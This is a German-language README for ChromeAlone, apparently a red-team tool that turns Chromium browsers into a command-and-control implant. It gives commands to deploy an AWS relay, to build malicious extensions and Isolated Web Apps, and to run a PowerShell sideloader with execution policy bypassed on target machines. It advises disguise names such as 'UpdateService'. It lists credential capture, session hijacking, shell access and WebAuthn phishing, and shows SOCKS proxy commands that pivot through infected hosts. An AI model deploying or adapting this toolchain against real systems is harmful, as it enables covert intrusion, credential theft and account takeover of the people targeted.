
Ein Tool zur Umwandlung von Chromium-Browsern in ein C2 Implant.

ChromeAlone ist ein Browser-Implant, das anstelle herkömmlicher Implantate wie Cobalt Strike oder Meterpreter verwendet werden kann. Dieses Repository bietet einen einfachen Build-Prozess, der eine Verwaltungskonsole generiert, Infrastruktur bereitstellt und ein PowerShell-Sideloader-Skript erstellt, das auf den Zielsystemen ausgeführt wird.
Nach der Installation bietet jedes ChromeAlone-Implantat Mechanismen für:
Erstellen Sie zuerst den Docker-Container: docker build -t chromealone .
Es gibt derzeit zwei unterstützte Bereitstellungsmodi. Beachten Sie, dass Sie in beiden Fällen docker aus dem Basisverzeichnis des ChromeAlone-Git-Repositorys ausführen sollten.
Hierfür benötigen Sie ein AWS-Konto, dessen Anmeldeinformationen in ~/.aws/credentials gespeichert sind. Stellen Sie sicher, dass Ihr Konto über vollständige EC2-Schreibberechtigungen sowie Route53-Berechtigungen verfügt. Zudem wird davon ausgegangen, dass Ihre Route53 mit mindestens einer Hosting-Zone konfiguriert ist, die eine registrierte Domain enthält. Wenn diese Bedingungen erfüllt sind, können Sie den folgenden Befehl ausführen.
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService --region=us-west-2
Der Wert von domain sollte mit einer Domain übereinstimmen, die unter Ihrer Route53-Konfiguration liegt. appname kann ein beliebiger Wert sein und wird zum Benennen mehrerer Registrierungsschlüssel und Ordner auf der Festplatte während der Bereitstellung verwendet. Es wird empfohlen, einen harmlosen Namen wie UpdateService oder etwas ähnlich Unverfängliches zu verwenden. Beachten Sie, dass region optional ist und standardmäßig auf us-east-2 gesetzt wird, wenn nicht anders angegeben.
Dies wird den BATTLEPLAN-Relay-Server auf AWS bereitstellen und die folgenden Artefakte generieren:
output/client – Die Steuerungs-Webanwendung zur Verwaltung Ihrer ChromeAlone-Installationen.
output/sideloader.ps1 – Das Installationsskript, das auf den Zielen ausgeführt wird, um deren lokale Browserinstanz zu infizieren. HINWEIS: Es gibt auch eine iwa-sideloader.ps1-Datei zum Laden NUR der Isolierten Web-App, und extension-sideloader.ps1 zum Laden NUR der Browsererweiterung.
output/extension – Die generierte schädliche Browsererweiterung.
output/iwa – Die generierte schädliche Isolierte Web-App (signierte Webapp-Bundle-Datei).
output/relay-deployment – Terraform-Artefakte aus Ihrer AWS-Bereitstellung, einschließlich eines SSH-Schlüssels für den direkten Zugriff auf den Host.
Wenn Sie bereits eine Instanz bereitgestellt haben, enthält output/relay-deployment/terraform.tfvars alle Informationen, die zum Generieren neuer Sideloader-Skripte + schädlicher Erweiterungen erforderlich sind. Sie können das ChromeAlone-Docker-Image auf die tfvars-Datei verweisen, und es überspringt den Bereitstellungsschritt, während die entsprechenden Metadaten zur Verwaltung von Verbindungen beibehalten werden.
Führen Sie das Build-Skript docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService aus, und es wird einen neuen schädlichen Sideloader für Ihre Bereitstellung generieren.
Nehmen Sie sideloader.ps1 und führen Sie es auf Ihrem Ziel-Windows-10- oder Windows-11-Rechner aus, indem Sie powershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1 ausführen. Beachten Sie, dass Sie zusätzliche Flags verwenden können, wenn Sie einen NativeMessaging-Host installieren möchten (erforderlich für Shell-Aufrufe) oder Chrome zum Neustart zwingen möchten (notwendig, wenn Ihre Erweiterung sofort nach Ausführung dieses Skripts ausgeführt werden soll, anstatt auf das nächste Öffnen von Chrome durch den Benutzer zu warten). Ein Beispielaufruf mit beiden Flags lautet powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $true. Sie können auch die Standardwerte oben im Skript von false auf true ändern, wenn diese Flags automatisch verwendet werden sollen.
Eine vollständige Skriptausführung dauert etwa 20–30 Sekunden.
Sobald ChromeAlone geladen ist, können Sie verbundene Hosts anzeigen, indem Sie output/client/index.html öffnen. Diese Web-App ist vorkonfiguriert, um eine Verbindung zu Ihrer bereitgestellten BATTLEPLAN-Relay-Instanz herzustellen. Beachten Sie, dass der Relay standardmäßig so firewalled ist, dass eingehender Kontrollzugriff nur von der IP-Adresse, die den Server bereitgestellt hat, auf den Ports 1080-1181 erlaubt ist. Wenn Sie dies ändern möchten, müssen Sie die Netzwerkeinstellungen der EC2-Instanz aktualisieren, um weitere Rechner einzuschließen.
Die meisten Befehle können über die WebUI ausgeführt werden, darunter:
Quick Commands, der die Auswahl eines Zielagenten im Bereich Execute Command erfordert)Captured Data)Execute Command)File Browser)Interactive Shell)Die wichtigste Ausnahme hiervon ist das SOCKS-Proxying. Jedem infizierten Host wird ein eindeutiger SOCKS-Port für den Server zugewiesen, der im Bereich Agent Information sichtbar ist, wo jeder Agent ein Port-Feld hat. Der zugewiesene Port kann in Verbindung mit den in output/client/config.js gespeicherten admin-Anmeldedaten verwendet werden, um einen host-spezifischen SOCKS-Proxy zu konfigurieren.
Angenommen, wir haben einen Agenten mit Port 1081, unsere Domain ist chrome.alone, unser Benutzername ist admin (das ist immer der Fall) und unser Passwort ist thisisnotarealpassword. Hier sind einige Beispiele für die Verwendung:
proxychains -q socks5 admin:[email protected]:1081 curl http://ifconfig.me
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:[email protected]:1081
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me
Das ChromeAlone-Repository ist in Komponenten unterteilt, von denen viele einzeln im Rahmen einer Bewertung verwendet werden könnten – aber zusammen die gesamte Chromium-Browser-Implant-Toolchain darstellen.
BATTLEPLAN – Dies ist die Verwaltungsserver-Komponente der Toolchain. Sie enthält Terraform-Skripte für die Bereitstellung in einer AWS-Umgebung sowie einen HTML-Client für die Interaktion mit dem Server nach der Bereitstellung.BLOWTORCH – Dies ist eine schädliche isolierte Webanwendung, die Direct Socket-Berechtigungen verwendet, um einen SOCKS-TCP-Proxy und einen Websocket-Server zu implementieren, die Kommunikation zwischen anderen Chrome-Komponenten ermöglichen. Sie fungiert auch als Nachrichtenbrücke zurück zum BATTLEPLAN-Relay-Server.DOORKNOB – Dies ist eine Reihe von Skripten, die zum Generieren von PowerShell-Sideloadern für isolierte Web-Apps und Chrome-Erweiterungen verwendet werden. Das Skript in build.sh zeigt ein Beispiel, wie ein einzelnes PowerShell-Installer-Skript erstellt wird, das beide einzelnen Sideloader in einem kombiniert.HOTWHEELS – Dies ist eine schädliche Chrome-Erweiterung, die alle ihre Fähigkeiten in Web Assembly implementiert. Sie bietet die überwiegende Mehrheit der ChromeAlone-Funktionen zur Erfassung von Anmeldeinformationen, Sitzungsübernahme, Shell-Aufrufen und Lesen des Dateisystems.PAINTBUCKET – Eine Reihe von Content-Skripten, die Phishing für WebAuthn-Anfragen ermöglichen, indem sie zusätzliche WebAuthn-Anfragen in iFrames in inaktiven Tabs verstecken, wann immer eine normale WebAuthn-Anfrage gestellt wird.Dieses Tool wurde von Mike Weber von Praetorian Security geschrieben.
Diese Arbeit baut auf den Schultern vieler anderer Forschertools und Blogbeiträge auf, die zu diesem Bereich beigetragen haben. Ohne ihre Arbeit würde dieses Projekt nicht existieren. Wenn Sie tiefer in die Interna eintauchen möchten, die dieses Projekt verwendet, empfehle ich die Lektüre der folgenden Ressourcen:
ChromeAlone ist unter der Apache License, Version 2.0 lizenziert.
Copyright 2025 Praetorian Security, Inc
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.